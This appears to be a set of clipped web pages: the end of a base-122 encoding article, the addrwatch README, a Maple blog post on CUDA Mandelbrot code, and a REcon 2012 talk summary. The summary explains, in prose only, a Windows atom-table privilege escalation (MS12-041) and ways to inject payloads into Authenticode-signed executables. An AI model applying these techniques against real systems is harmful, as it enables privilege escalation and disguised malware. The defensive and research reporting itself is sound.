specified. The data-b122 attribute is used for easy querying of the DOM during
decoding. The default mime-type is "image/jpeg" but a data-b122m attribute is
used to specify other mime-types.

### §2.3.2 Decoding into Blobs

To decode the base-122 encoded resources, we need to provide an analog to the
atob function to decode base-122 strings back to the original data. We also
need to include some setup code \(i.e. querying the DOM and creating decoded
blob URLs with createObjectURL\). Including these scripts in the HTML page
means either adding an external script \(adding another HTTP request\) or
including the full function in the page. Unfortunately, this erodes the space
savings from base-122 encoding. Therefore, our decode function should be as
small as possible without sacrificing performance. The minified decoding
script is shown below, currently sized at 487 bytes.

[code]

    // Decodes all elements with a data-b122 attribute and creates blob URIs.
    !function(){function t(t){function e(t){t<<=1,l|=t>>>d,d+=7,d>=8&&(c[o++]=l,d-=8,l=t<<7-d&255)}for(var n=t.dataset.b122,a=t.dataset.b122m||"image/jpeg",r=[0,10,13,34,38,92],c=new Uint8Array(1.75*n.length|0),o=0,l=0,d=0,g=n.charCodeAt(0),h=1;h<n.length;h++){var i=n.charCodeAt(h);i>127?(e(r[i>>>8&7]),h==n.length-1&&64&g||e(127&i)):e(i)}t.src=URL.createObjectURL(new Blob([new Uint8Array(c,0,o)],{type:a}))}for(var e=document.querySelectorAll("[data-b122]"),n=0;n<e.length;n++)t(e[n])}();
    
[/code]

Figure 4c shows the final HTML file with the decoding and setup code.

[code]

    <html><body>
    <head><meta charset="utf-8"></head>
    <body>
    <img data-b122="v~ J#(` m@0 @0ƆA``@( ƅ!PPq `0ƅBaPtJʆd1`X, 21R*F#ri@Z( %I#[`8ƄB0P(ҨʅCρ P(ƅA P(ƅA P(ƅA P(ƅA P(ƅA P(ƅA P(ƅGBÈ@D@?| ¶à  A`o~À 4à S=UoRQʺMf+B0GJTcP>Q;Py֦MzLGN!j9TVngOCMk:=E>s(+8g| À@    ΰ)(Ι{   Pf9MS<oj6Tofy3U%r+BeS)yg<O>dSD8-Ai9Xn5sZC6L1)kmnXU2JY!H%Җ[2x!RK0=*~hd}Jí+^7HT[)I(m*DsyB<yӵ0>s˅6 OhlmXaTK,Srӎ^e>Zu.hZ}Ӎ!^m1r U| ¨À~hÀ`   |q D ?{  À'pDÁ@@8΢   DDHң8d҃  ePl?}PÀãxpw֥cyF}kFo]4I*4]/YT<R֍Q c{-ӥ5VA0W<DÈX%)<ӴC9sί>)S4>JM1*N6*ƂW,BUyP^=ǏBmJE`lU2Y_p(-JBx(J U%4<_p.'GQY@cU.j`Hnc:kƱfA4:Pm@nmH*^Ɣ/o_Fs.G*y*M' y+63b_qÀÀ À EQ0ְˇ#mH>h2n    4qJ{Q@zgf>%@<`.Ҩ7Oj/gz)yRZ+aDVZh)?ΆƂFDWB    ?8(G}`9RxBm*hg8O-M?;6pB4<#j5)s0W֗*HiN2:`{lRhKiaL?lXVqv7/m!uj+h4gpML=֮g|ãEDS    NPh2^+9Bw3V(ko6p+c֥_v^(2IL^AG;K+2uǭt5)(Pt2aO0n˕Ϣlʺ`vsb!~ 0CADn;1ƍG8|E`M~bSsfU'4àPqEasK| ¨À~hÀ` | q D ?{  À'qD΀À ҔQ8d4ΐp|?}PÀxBkY9dp>+AvΕSkP^Xa9yi+=F<viґʟ8f6@*`4?;S?N+.ևPsלu%2Mog˸mWq_prҷ:)@ FX6    ]ֿEƿ+cƗ1*:SK|3R,/Mo-ҝLlm(H{pzLADfm@ PMʍa<;a-.2zoà2EI?   |3IjE!,eǥuV~geiқnaoOxN    (8_'vq8-0-#n^L'΍sDgt?`}X:pjolIc8)]o'|,P+7qM%#>P)/c9I0BO#5<_ƀX#lcJp`ΕҾGuaևH@UH9xe(vWPqliuGzN!OFπ8j}qi/$k8W9~@ECj)ntnv:c8`2$]:kt9׌ADQX?S<Rg[)^S*5gƸ95~Y[Ǟοdˡ4qq}[0}|qΥT?Rg2" />
    <script>
    !function(){function t(t){function e(t){t<<=1,l|=t>>>d,d+=7,d>=8&&(c[o++]=l,d-=8,l=t<<7-d&255)}for(var n=t.dataset.b122,a=t.dataset.b122m||"image/jpeg",r=[0,10,13,34,38,92],c=new Uint8Array(1.75*n.length|0),o=0,l=0,d=0,g=n.charCodeAt(0),h=1;h<n.length;h++){var i=n.charCodeAt(h);i>127?(e(r[i>>>8&7]),h==n.length-1&&64&g||e(127&i)):e(i)}t.src=URL.createObjectURL(new Blob([new Uint8Array(c,0,o)],{type:a}))}for(var e=document.querySelectorAll("[data-b122]"),n=0;n<e.length;n++)t(e[n])}();
    </script>
    </body>
    </html>
    
[/code]

Figure 4c: The final base-122 encoded file with decoder and setup.

### §3 Experimental Results

To see if base-122 is a practical alternative to base-64 encoding on the web,
we tested our implementation to verify the space savings and to check runtime
performance.

### §3.1 Storage Savings

Base-122 encoding will encode seven bits of input data per byte while base-64
encodes six, so we expect base-122 data to be about 14% smaller than the
equivalent base-64 data. An initial test on square images of various sizes
confirms this.

Image \(JPEG\) Dimension| Original \(bytes\)| Base-64 \(bytes\)| Base-122
\(bytes\)| % difference  
---|---|---|---|---  
32x32| 968| 1292| 1108| -14.24%  
64x64| 1701| 2268| 1945| -14.24%  
128x128| 3027| 4036| 3461| -14.25%  
256x256| 7459| 9948| 8526| -14.3%  
Table 2: Comparing image sizes of base-64 and base-122

However, as pointed out in this article, gzip compressing the HTML page
significantly reduces the size of base-64 encoding. Table 3 shows the results
of encoding with the gzip deflate compression applied.

Image \(JPEG\) Dimension| Original \(bytes\)| Base-64 gzip \(bytes\)| Base-122
gzip \(bytes\)| % difference  
---|---|---|---|---  
32x32| 968| 819 | 926 | +13.06%  
64x64| 1701| 1572 | 1719 | +9.35%  
128x128| 3027| 2914 | 3120 | +7.06%  
256x256| 7459| 7351 | 7728 | +5.12%  
Table 3: Comparing image sizes of base-64 and base-122 with gzip applied

Unfortunately, base-64 seems to compress better than base-122, which may be
due to the more redundant sequences of bits in base-64 being easier to
compress. Interestingly, using base-64 with gzip compresses it enough to make
it smaller than the original.

### §3.2 Performance

A point of practical concern for the base-122 decoder is performance. A
significant drop of performance of decoding base-122 in the browser could
outweigh any benefit gained in load time from the smaller download size. Using
this JSPerf test the base-122 decoding function was compared with the native
base-64 decoding function atob, on equivalently encoded random binary strings
of 10,000 bytes.

Browser/OS| Base-64 Ops/Sec| Base-122 Ops/Sec  
---|---|---  
Chrome 54/Win. 10| 9,141| 3,529  
Firefox 50/Win. 10| 2,342| 5,338  
Table 4: Comparing runtime performance of decoding

Chrome shows about a ~3x drop of performance, while Firefox shows a surprising
1.5-2x improvement.

### §3.3 Case Study

For a practical test, we compared size and load time of HTML pages with
various amounts of small images. Using 64x64 pixel images scraped from
unsplash.it, pages with 10, 100, and 1000 images were compared.

<img src='img/Temp2_986.jpg' width='672' height='300' />

Figure 5: A casestudy page

First, we verified the download size of each page was as expected.

<img src='img/Temp2_988.jpg' width='672' height='285' />

Figure 6: Transfer size as ratio to original size.

Next, we measured the load time over five trials and recorded the median in
both Chrome and Firefox.

<img src='img/Temp2_989.jpg' width='672' height='269' />

Figure 7: Load Time as ratio to original load time \(no gzip\).

We see a marginal improvement in Firefox, but an unfortunate regression in
Chrome. This may be due to a variety of reasons, including the delay of
decoding base-122 data until the decoder script is parsed and loaded, while
base-64 strings can be decoded as soon as they are parsed. Furthermore, with
gzip enabled, we no longer get any improvement in download size. These tests
suggest base-122 may not have much use in the context of the web, at least not
without help from the browser.

It is worth noting that although both base-64 and base-122 improve load time,
externally loading images still has the advantage of progressive loading. I.e.
by not embedding the image data, parts of the HTML page can load before the
image data downloads.

### §3.4 Replicating the Results

You can replicate these results or test in different environments as follows

  * This NodeJS script is used to compute the size differences in §3.1
  * The JSPerf test can be run in any browser supporting TextDecoder
  * These NodeJS scripts were used to scrape unsplash.it and generate pages with variable numbers of 64x64 pixel images.

### §4 Conclusion and Future Work

Although improving performance on the web was the purpose of base-122, it is
not limited to the web. Base-122 can be used in any context of binary-to-text
embedding where the text encoding encoding is UTF-8. And there is still room
for improvement, including but not limited to:

  * Encoding an additional bit in the two-byte UTF-8 characters by using the illegal index to enforce code points above 0x80
  * Improving decoding performance for browsers, or making it non-blocking via web-workers
  * Further reducing the size of the decoding script

Contribution and critical feedback is welcome and encouraged on the GitHub
page.

  

# fln/addrwatch

**Created:**| _7/5/2012 2:03:04 PM_  
---|---  
**Updated:**| _7/5/2012 2:03:04 PM_  
**Author:**| __  
**Tags:**| _network-security monitoring ipv6_  
  

[code]

    = addrwatch =
    
    This is a similar software to arpwatch. It main purpose is to monitor network
    and log ethernet/ip pairings.
    
    Main features of addrwatch:
    *) IPv4 and IPv6 address logging
    *) Multiple network interfaces per daemon
    *) Output to stdout, plain text file, syslog, sqlite3 database
    *) History preserving output/logging
    
    The main difference between arpwatch and addrwatch is the format of output
    files.
    
    Arpwatch stores only current state of the network ethernet/ip pairings and 
    allows to send email notification when a pairing change occurs. This is fine
    for small and rather static networks. In arpwatch case all the history of
    pairings is saved only in administrators mailbox. When arpwatch is used for
    monitoring dozen or more networks it becomes hard to keep track of the historic
    address usage information.
    
    Addrwatch do not keep persistent network pairings state but instead logs all 
    the events that allow ethernet/ip pairing discovery. For IPv4 it is ARP 
    requests, ARP replies and ARP ACD (Address Conflict Detection) packets. For 
    IPv6 it uses ICMPv6 Neighbor Discovery and (DAD) Duplicate Address Detection 
    packets (Neighbor Solicitations, Neighbor Advertisements).
    
    The output file produced by addrwatch is similar to arpwatch. Example of
    addrwatch output file:
    1329486484 eth0 0 00:aa:bb:cc:dd:ee fe80::2aa:bbff:fecc:ddee ND_NS
    1329486485 eth0 0 00:aa:bb:cc:dd:ee 192.168.1.1 ARP_REQ
    1329486485 eth0 0 00:aa:bb:ff:00:11 192.168.1.3 ARP_ACD
    1329486486 eth0 7 00:11:11:11:11:11 fe80::211:11ff:fe11:1111 ND_NS
    1329486487 eth0 7 00:22:22:22:22:22 fe80::222:22ff:fe22:2222 ND_DAD
    1329486488 eth0 7 00:33:33:33:33:33 192.168.2.2 ARP_REQ
    
    For each pairing discovery event addrwatch produce timestamp, interface, 
    vlan_tag (untagged packets are marked with 0 vlan_tag), ethernet address, IP 
    address and packet type seperated by spaces.
    
    To prevent addrwatch from producing too many duplicate output data in active
    networks rate-imiting should be used. Read more in 'Ratelimit' section. 
    
    == Installation ==
    
    To compile addrwatch you mus have following shared libraries:
    *) libpcap
    *) libevent
    *) OPTIONAL libsqlite3
    
    To compile addrwatch with sqlite3 support:
     $ ./configure --enable-sqlite3
     $ make
     $ make install
    
    To compile addrwatch without sqlite3 support:
     $ ./configure
     $ make
     $ make install
    
    If you do not want to install addrwatch to the system, skip the 'make install' 
    step. You can find compiled addrwatch binary in 'src' directory. This is the 
    only file needed to run the program and the only file that would otherwise be
    installed to the system.
    
    == Uninstallation ==
    
    If you have used 'make install' to install addrwatch to a system you can remove
    with command:
     $ make uninstall
    In the sources directory.
    
    If you have already deleted the addrwatch sources, you can manually remove
    addrwatch from the system with command:
     $ rm /usr/local/bin/addrwatch
    This is the only installed file by the addrwatch. If you have specified --prefix
    argument to configure script substitute /us/local/bin with the prefix path used.
    
    == Usage ==
    
    To simply try out addrwatch start ir without any arguments:
     $ addrwatch
    
    When started like this addrwatch opens first non loopback interface and start
    logging event to the console without writing anything to disk. All events
    are printed to stdout, debug, warning, and err messages are sent to syslog and
    printed to stderr.
    
    If you get error message:
    addrwatch: ERR: No suitable interfaces found!
    
    It usually means you started addrwatch as normal user and do not have sufficient
    privileges to start sniffing on network interface. You should start addrwatch as
    root:
     $ sudo addrwatch
    
    
    You can specify which network interface or interfaces should be monitored by
    passing interface names as arguments. For example:
     $ addrwatch eth0 tap0
    
    To find out about more usage options:
     $ addrwatch --help
    
    == Ratelimiting ==
    
    If used without ratelimiting addrwatch reports etherment/ip pairing everytime it
    gets usable ARP or IPv6 ND packet. In actively used networks it generates many
    duplicate pairings especially for routers and servers.
    
    Ratelimiting option '-r NUM' or '--ratelimit=NUM' surpress output of duplicate
    pairings for at least NUM seconds. In other words if addrwatch have discovered 
    some pairing (mac,ip) it will not report (mac,ip) again unless NUM seconds have
    passed.
    
    There is one exception to this rule to track ethernet address changes. If
    addrwatch have discovered pairings: (mac1,ip),(mac2,ip),(mac1,ip) within
    ratelimit time window it will report all three pairings. By doing so 
    ratelimiting will not loose any information about pairing changes.
    
    For example if we have a stream of events:
    time   ethernet          ip
    0001   11:22:33:44:55:66 192.168.0.1
    0015   11:22:33:44:55:66 192.168.0.1 
    0020   aa:bb:cc:dd:ee:ff 192.168.0.1 
    0025   aa:bb:cc:dd:ee:ff 192.168.0.1 
    0030   11:22:33:44:55:66 192.168.0.1 
    0035   11:22:33:44:55:66 192.168.0.1
    0040   aa:bb:cc:dd:ee:ff 192.168.0.1 
    0065   aa:bb:cc:dd:ee:ff 192.168.0.1 
    
    With --ratelimit=100 we would get:
    0001   11:22:33:44:55:66 192.168.0.1
    0020   aa:bb:cc:dd:ee:ff 192.168.0.1 
    0030   11:22:33:44:55:66 192.168.0.1 
    0040   aa:bb:cc:dd:ee:ff 192.168.0.1 
    
    Without such exception output would be:
    0001   11:22:33:44:55:66 192.168.0.1
    0020   aa:bb:cc:dd:ee:ff 192.168.0.1 
    And we would loose information that address 192.168.0.1 was used by ethernet
    address 11:22:33:44:55:66 between 30-40th seconds.
    
    To sum up ratelimiting reduces amount of duplicate information without loosing
    any ethernet address change events.
    
    Ratelimit option essentially limits data granularity for IP address usage 
    duration information (when and for what time period specific IP address was 
    used). On the other hand without ratelimiting at all you would not get very 
    precise IP address usage duration information anyways because some hosts might 
    use IP address without sending ARP or ND packets as often as others 
    do.
    
    
    If NUM is set to 0, ratelimiting is disabled and all pairing discovery events
    are reported.
    
    If NUM is set to -1, ratelimiting is enabled with infinitely long time window
    therefore all duplicate pairings are suppressed indefinitely. In this mode 
    addrwatch acts almost as arpwatch with the exception that ethernet address 
    changes are still reported.
    
    It might look tempting to always use addrwatch with --ratelimit=-1 however by
    doing so you loose the information about when and for what period of time 
    specific IP address was used. There will be no difference between temporary IPv6 
    addressed which was used once and statically configured permanent addresses.
    
    == Event types ==
    
    Ethernet/ip pairing discovery can be triggered by these types of events:
    * ARP_REQ - ARP Request packet. Sender hardware address (ARP header) and sender 
    protocol address (ARP header) is saved.
    * ARP_REP - ARP Reply packet. Sender hardware address (ARP header) and sender 
    protocol address (ARP header) is saved.
    * ARP_ACD - ARP Address collision detection packet. Sender hardware address 
    (ARP header) and target protocol address (ARP header) is saved.
    * ND_NS - Neighbor Solicitation packet.	Source link-layer address (NS option) 
    and source address (IPv6 header) is saved.
    * ND_NA - Neighbor Advertisement packet. Target link-layer address (NA option) 
    and source address (IPv6 header) is saved.
    * ND_DAD - Duplicate Address Detection packet. Source MAC (Ethernet header) and 
    target address (NS header) is saved.
    
[/code]

# GPU Programming, CUDA, OpenCL and Maple - MaplePrimes

**Created:**| _1/18/2011 10:03:42 AM_  
---|---  
**Updated:**| _1/18/2011 1:27:42 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# GPU Programming, CUDA, OpenCL and Maple

<img src='img/Temp2_3384.png' /><img src='img/Temp2_3385.png' alt='Maplesoft
Employee' />

###

Posted: November 06 2009 by dohashi 877  
Product: Maple

  

I am going to wander away from parallel programming in Maple, to talk about
GPU programming. However I will show an example of connecting Maple to a CUDA
accelerated external library, so that's close enough. This post is not
intended to be a tutorial on CUDA or OpenCL programming, but an introduction
to how the technology works.

A GPU is "Graphics Process Unit", basically it refers to the chip in recent 3D
accelerated video cards, and other chips with similar architecture. So what
makes a GPU different than a CPU? The primary difference is that a GPU is
designed to perform Data Oriented Parallelism. Data oriented parallelism
describes parallel problems that involve executing the exact same code over a
large number of data elements. \(Maple programmers can think of map\). This
idea is not all that new. Many modern CPUs include Single Instruction,
Multiple Data \(SIMD\) instructions which apply a single instruction over
multiple pieces of data. This style of instruction is also been called vector
instructions. GPUs take these concepts even further. CUDA CPUs use Single
Instruction, Multiple Threads \(SIMT\) or what OpenCL calls Single Program,
Multiple Data \(SPMD\). This means that a group of threads are all executing
the same instructions in lock step with each other. Further, GPUs have a large
number of relatively simple cores designed for this SIMT style processing. For
example a Geforce GTX 285 \(a $350 dollar video card\) has 30 "multi-
processors" where each multi-processor contains 8 processors, thus a total of
240.

OpenCL is a standard programming API for accessing GPU style hardware. It is
relatively new standard, so it does not appear to have gained the momentum of
better known technologies, such as CUDA. However code written for OpenCL
should be device independent, thus OpenCL code should be able to execute on
cards from NVidia or ATI, as well as future hardware such as Intel's Larrabee.
This makes it an attractive technology for the future.

Currently most GPU are available as specialized cards \(aka video cards\).
This creates a separation between the computer \(the  _host_\) and the card
\(the  _device_\). The device often does not have direct access to the host's
memory, or if they do have access, it is significantly slower than accessing
the device's memory. Often this means an algorithm will need to copy a block
of memory to the device's hardware, perform the execution, then copy the
results back to main memory. However the expense of this copy can also limit
the types of problems that can be accelerated on the GPU. For example we have
been experimenting with accelerating linear algebra operations with CUDA
hardware. For a routine like Matrix Matrix addition, copying the two Matrices
onto the card and copying the result back is more expensive than performing
the addition in RAM using optimized C routines. However for more expensive
operations, like a Matrix Matrix multiplication, there are significant speed
ups to be had.

The actual programming model is very simple. CUDA and OpenCL define a
_kernel_ as the function that we want to map over the data. This kernel is
then mapped over a three dimensional rectangular space. Thus the kernel is
called once per element in the space. When a kernel is called it has access to
a global variable that describes the index of that kernel within the space.
Thus this index allows the kernel to determine were it exists within the
space, and thus what it should be calculating.

So that's the basic programming model. It is very simple. There are more
details, dealing with memory issues, synchronization tools, what you can and
can't do on the device and how to best optimize your code, however you can do
a lot without worrying too much about that stuff.

The following example shows how to use CUDA to compute the Mandelbrot Set,
using Maple's external call routines.

First, here is a simple C implementation:

[code]

    float MandelFunction( float xS, float yS, int32_t iter, float bailout )
    {
        int32_t i;
        float x, y, xTemp;
    
        x = 0;
        y = 0;
    
        for ( i = 0; i < iter; i++ )
        {
            if ( x*x + y*y > bailout )
            {
                return i + (logf(2*logf(bailout))-logf(logf( sqrtf(x*x + y*y) ) ))/logf(2);
            }
    
            xTemp = x*x - y*y + xS;
            y = 2*x*y + yS;
    
            x = xTemp;
        }
    
        return -1;
    }
    
    #define INDEX( x, y, z, xlen, ylen ) ( (x)+xlen*(y)+xlen*ylen*(z) )
    
    void CMandelLoop( float *color, int32_t xlen, int32_t ylen,
            float xlow, float xhigh, float ylow, float yhigh,
            int32_t iter, float bailout )
    {
        float x, xStep, y, yStep, c;
        int32_t i, j;
    
        xStep = (xhigh-xlow)/(xlen-1);
        yStep = (yhigh-ylow)/(ylen-1);
    
        y = ylow;
        for ( j = 0; j < ylen; j++ )
        {
            x = xlow;
            for ( i = 0; i < xlen; i++ )
            {
                c = MandelFunction( x, y, iter, bailout );
                if ( c == -1 ) {
                    color[ INDEX( i, j, 0, xlen, ylen ) ] = 0.0;
                    color[ INDEX( i, j, 1, xlen, ylen ) ] = 0.0;
                    color[ INDEX( i, j, 2, xlen, ylen ) ] = 0.0;
                }
                else {
                    color[ INDEX( i, j, 0, xlen, ylen ) ] = c/iter;
                    color[ INDEX( i, j, 1, xlen, ylen ) ] = c/iter;
                    color[ INDEX( i, j, 2, xlen, ylen ) ] = c/iter;
                } 
    
                x += xStep;
            }
            y += yStep;
        }
    }
    
    
[/code]

CMandelLoop iterates over the dimensions of the image, and calls
MandelFunction for each pixel. MandelFunction's return value is then stored in
the output array. This is a pretty straight forward implementation. In the
CUDA example, these nested for loops are automatically parallelized, but
mapping them over the index space.

The following takes the above code and then re-implements it on CUDA.

[code]

    __device__ float CudaMandelFunction( float xS, float yS, int32_t iter, float bailout )
    {
        int32_t i;
        float x, y, xTemp;
    
        x = 0;
        y = 0;
    
        for ( i = 0; i < iter; i++ )
        {
            if ( x*x + y*y > bailout )
            {
                return i + (logf(2*logf(bailout))-logf(logf( sqrtf(x*x + y*y) ) ))/logf(2);
            }
    
            xTemp = x*x - y*y + xS;
            y = 2*x*y + yS;
    
            x = xTemp;
        }
    
        return -1;
    }
    
    
[/code]

Now notice that CudaMandelFunction is almost identical to the MandelFunction,
except that it is declared as \_\_device\_\_, which means it is intended to
execute on a CUDA device and not on the host CPU.

[code]

    #define INDEX( x, y, z, xlen, ylen ) ( (x)+xlen*(y)+xlen*ylen*(z) )
    
    __global__ void MandelWarp( float *color, int32_t xlen, int32_t ylen,
            float xlow, float xhigh, float ylow, float yhigh,
            int32_t iter, float bailout )
    {
        float c;
        int32_t i = blockIdx.x * blockDim.x + threadIdx.x;
        int32_t j = blockIdx.y * blockDim.y + threadIdx.y;
    
        if ( i < xlen && j < ylen )
        {
            c = CudaMandelFunction(
                    xlow + ((xhigh-xlow)/(xlen-1))*i,
                    ylow + ((yhigh-ylow)/(ylen-1))*j,
                    iter, bailout );
    
            if ( c == -1 ) {
                color[ INDEX( i, j, 0, xlen, ylen ) ] = 0.0;
                color[ INDEX( i, j, 1, xlen, ylen ) ] = 0.0;
                color[ INDEX( i, j, 2, xlen, ylen ) ] = 0.0;
            }
            else {
                color[ INDEX( i, j, 0, xlen, ylen ) ] = c/iter;
                color[ INDEX( i, j, 1, xlen, ylen ) ] = c/iter;
                color[ INDEX( i, j, 2, xlen, ylen ) ] = c/iter;
            }
        }
    }
    
    
[/code]

MandelWarp is the kernel function. It is declared as \_\_global\_\_, which
means that it should be executed on the device, but can be called from the
host. Notice how MandelWarp uses the blockIdx, blockDim and threadIdx globals
to calculate the index corresponding to this kernel's execution. The index
determines which pixel is currently being rendered. An interesting detail is
the if statement. This allows the data to be sub-divided into evenly sized
blocks, even if the block size does not evenly divide the size of the data.

[code]

    void CudaMandelLoop( float *color, int32_t xlen, int32_t ylen,
           float xlow, float xhigh, float ylow, float yhigh,
           int32_t iter, float bailout )
    {
        int32_t size;
        dim3 gdim;
        dim3 bdim;
        void *cudaMemory;
    
        size = xlen*ylen*3*sizeof(float);
    
        cudaMalloc( &cudaMemory, size );
    
        bdim.x = 32;
        bdim.y = 16;
        bdim.z = 1;
    
        gdim.x = ( xlen + bdim.x - 1 )/bdim.x;
        gdim.y = ( ylen + bdim.y - 1 )/bdim.y;
        gdim.z = 1;
    
        MandelWarp<<<gdim,bdim>>>( (float*)cudaMemory, xlen, ylen, xlow, xhigh, ylow, yhigh, iter, bailout );
        cudaMemcpy( color, cudaMemory, size, cudaMemcpyDeviceToHost );
        cudaFree( cudaMemory );
    }
    
    
[/code]

CudaMandelLoop is the function called on the host. This allocates a block of
memory on the device, creates the sub-division of data range, and then
launches the execution on the device. When the execution is complete, we copy
the results from device memory into host memory and then free the device
memory.

With CUDA we create a two level sub-division, small blocks \(bdim\) and a grid
of blocks \(gdim\). The reason for this is that CUDA hardware has a maximum
block size that is supported by the hardware, thus a higher level of division
is also required. The MandelWarp<<<gdim,bdim>>> line executes the kernel
MandelWarp over the space defined by gdim and bdim.

Clearly the CUDA code includes some non-C elements. Thus the CUDA toolkit
includes a program call nvcc, which is a compiler for CUDA code.

I will provide complete code for for this example, including the Maple
external call wrapper, however here is the time results comparing the C
implementation to the CUDA implementation.

[code]

    > mandel := define_external( MapleCMandel, MAPLE, LIB="libextmandel.so" ):
    > n := 10000:
    > m := 10000:
    > values := Array( 1..n, 1..m, 1..3, datatype=float[4] ):
    > time[real]( mandel( values, -2.0, 0.7, -1.35, 1.35, 100, 4.0 ) );
                                             28.474
    
    > 
    > restart;
    > 
    > mandel := define_external( MapleCudaMandel, MAPLE, LIB="libextmandel.so" ):
    > n := 10000:
    > m := 10000:
    > values := Array( 1..n, 1..m, 1..3, datatype=float[4] ):
    > time[real]( mandel( values, -2.0, 0.7, -1.35, 1.35, 100, 10.0 ) );
                                              0.681
    
    
[/code]

Thus for a very large image \(10000x10000\) the CUDA implementation is about
40 times faster that the C implementation.

This example code was written and tested on x86-64 Linux, however it should
also work on 32 bit Linux. If there is enough demand, I will port this example
to Windows, building with MSVC.

Download Example Source Code

  * OpenCL
  * NVidia's CUDA Site
  * ATI Stream Site

# Recon2012 - Sogeti ESEC Lab

**Created:**| _7/3/2012 7:54:52 PM_  
---|---  
**Updated:**| _7/3/2012 7:54:52 PM_  
**Author:**| __  
**Tags:**| _compiler-building reversing conference-material_  
  

## Recon2012

By jj » Monday 2 July 2012, 16:59 - Conferences

For the third year we had the chance to participate to REcon 2012.

Here is a summary of the most interesting talks.

## The case for semantics-based methods in reverse engineering

Rolf Rolles started the conference on his predilection subject, semantic
analysis of code.

A lengthy introduction reminded us that semantic analysis means working on the
code based on the effects of the instructions and instruction sequences, as
opposed to pattern-based techniques \(which work on the form of the code\).

He then detailed as an exemple how to recover a switch table from assembly
generated by Visual Studio.

In another exemple he used abstract interpretation to compare two code
snippets, as a way to validate a deobfuscation algorithm : the obfuscated and
deobfuscated versions should have the exact same semantics. This way he was
able to hilight bugs in some commercial obfuscators: transforming an 'inc'
instruction into an 'add' is incorrect as the effects on the eflags are not
strictly equivalent \(inc does not update the carry flag\).

Overall an interesting introductory level talk. \(slides\)

## Extraordinary string based attacks: smashing the atom

The second speaker, Tarjei Mandt \(aka @kernelpool\) gave an impressive talk
on Windows vulnerabilities based on Atoms \(MS12-041\).

Atoms are a way for processes to share string values. Windows can store them
in different tables: for the process only \(application table\), for the
current session \(user table\) and globally \(system table\). If two processes
use the same atom value, the kernel will give them access to the same atom,
and use a reference counter to check when the resource can be freed. If too
many references to an atom are made and the counter overflows, the atom is
\(correctly\) set to the 'pinned' state, and can not be freed \(as if it had
an infinite number of references\) except by destroying the whole table. When
Windows wants to create a new atom, it will reuse the slot of the last deleted
atom if possible. Classic uses for atoms are the Windows class names, or the
clipboard formats. A more unexpected user of atoms is the system of hooks that
implements the Windows UI themes : an User atom stores the path to the dll
that is mapped into every graphical process. Thankfully, a program cannot
directly reference the User atoms, as the API exported by win32k.sys does not
allow this.

MS12-041 is a bug in RegisterClass \(a win32k function\), where if you pass a
string as parameter, the kernel will correctly transform it into an User atom
and register it ; however if you pass an atom number directly to the function
\(any number in the range 0xc000-0xffff is accepted as such a handle\), it
will use that atom without incrementing its refcount. When a program has
registered a class name, it is allowed to release it, which will decrement its
refcount.

That means that by repeatedly calling RegisterClass with an atom handle and
DestroyClass, you can decrease the refcount, and thus free, an arbitrary User
atom. Now we can free the User atom used to store the path to uxtheme.dll, re-
allocate it with a path to a dll we control, and if we can start a new
privileged process in the current session we will achieve code execution at an
increased privilege level. The two obvious privileged process to target are
csrss and winlogon, however a check in the kernel prevents using csrss. Tarjei
gave a demo running on win8, where the target process is logonui, a new
process started by winlogon whenever it needs to display information to the
user, and runs as System.

On the mitigation side, in win 7 you can use job restrictions
\(**JOB\_OBJECT\_UILIMIT\_GLOBALATOMS**\) to restrict access to the System
atom table, but you cant do anything to prevent User or Application atom
access.

Win8 appcontainers application cannot delete standard atoms anywhere unless
the atom specifically allows this kind of lowbox access. Tarjei retries its
demo, this time running inside an appcontainer, and now it fails. \(slides\)

## Injecting custom payload into signed Windows executables

The next talk was Igor Glucksmann from Avast, discussing the recently
disclosed vulnerability affecting the Authenticode signature scheme used by
Microsoft to digitally sign PE modules.

The signature can be stored in the PE itself or in a so-called _catalog_. When
stored in the PE, the signature needs to ignore itself and a few related
fields to be able to generate the signature in the first place. The
specification says that the data hashed for the signature consists of the full
PE file after removing the PE checksum field \(4 bytes\), the security
directory \(8 bytes, holds the file offset and the size of the digital
signature\) and the signature itself, as pointed by the directory. The
specification says that PE data can exist in the file after the signature \(it
is included in the hash\), but the implementation on Windows XP only uses data
before the signature offset. In any case, it is forbidden to store the
signature in the file before any non-empty PE section.

So, an attacker can change any of these 3 blocks without invalidating the
digital signature. Especially, he can change the size of the signature block.
The signature verification code will use only the data it needs, and whatever
space is left after that can be used to store anything, and won't be included
in the signature.

This is the basis of the first attack. Some executable files store data after
the standard parts of the binary, in what is called the overlay. Moreover,
some of these executable do not hardcode where this part starts in the file,
but scans the data for a given pattern. This is common among self-extractible
compressed files. Self-extracting schemes can scan for the signature from the
beginning of the file or from the end. If the scan starts from the end, the
attacker can grow the segment reserved for the signature \(that comes at the
very end of the file\), and append his own compressed data inside. When the
executable runs, the code will scan for the pattern, and find the one in the
attacker-forged signature block first. This is a practical attack that
impacts, for exemple, Adobe Flash installer. As an added bonus, these
installer files usually run elevated.

If the installer scans for the pattern forward, the attacker can carry the
same attack by moving the signature at the beginning of the overlay, however
this will invalidate the signature on XP. Some installers will scan forward,
but will scan for two patterns: a generic one, and a localized one, matching
the current locale. As an exemple, the author gives a demo of the Symantec
antivirus installer, which is a signed 7zip autoextractible. He inserted in
the signature block patterns matching all the most prevalent locales, and is
able this way to actually launch an installer from his own company, Avast,
from the original \(and signed\) Symantec installer.

These attacks rely on indirect means to achieve code execution. However a more
direct attack is possible: by moving the signature block to the very beginning
of the PE file, you can overwrite the dword at offset 0x3C, which dictates
where the PE header is stored. If you combine that with an expansion of the
signature block, you can craft the PE executable to have its header inside the
attacker-controlled segment ; at this point you control the full PE section
list and the PE entrypoint. You need to keep the original header and all file
content intact after that, to keep the signature verification code happy. The
specification forbids the signature segment to come before any non-empty PE
section, so you can simply say that the file has no section at all, or one
covering only the first few bytes. This is enough to store a shellcode, and
achieve direct code execution. For more stealth, the shellcode could be made
to manually map the original sections at their intended address, and let the
original program run seemingly unmodified. This very clever hack requires to
move the signature block around, so it will only work on windows vista or
newer and fail on XP.

All these attacks work even if the file is signed through the catalog, as the
signature verification code is the same in both cases, and will ignore the
signature and related fields stored in the PE file itself.

However the author noticed that these flaws did not apply to digitally signed
drivers, presumably because the kernel signature verification code is more
strict and because drivers do not usually use overlays.

These issues were fixed in ms12-024 by adding the following features:

  * All versions of Windows will ignore any data stored after the signature block, WinXP-style.
  * Additionally, all versions of Windows will ignore signatures containing certain byte sequences, used in the most common auto-extraction schemes.

These fixes may seem weak, but microsoft cannot do much more without
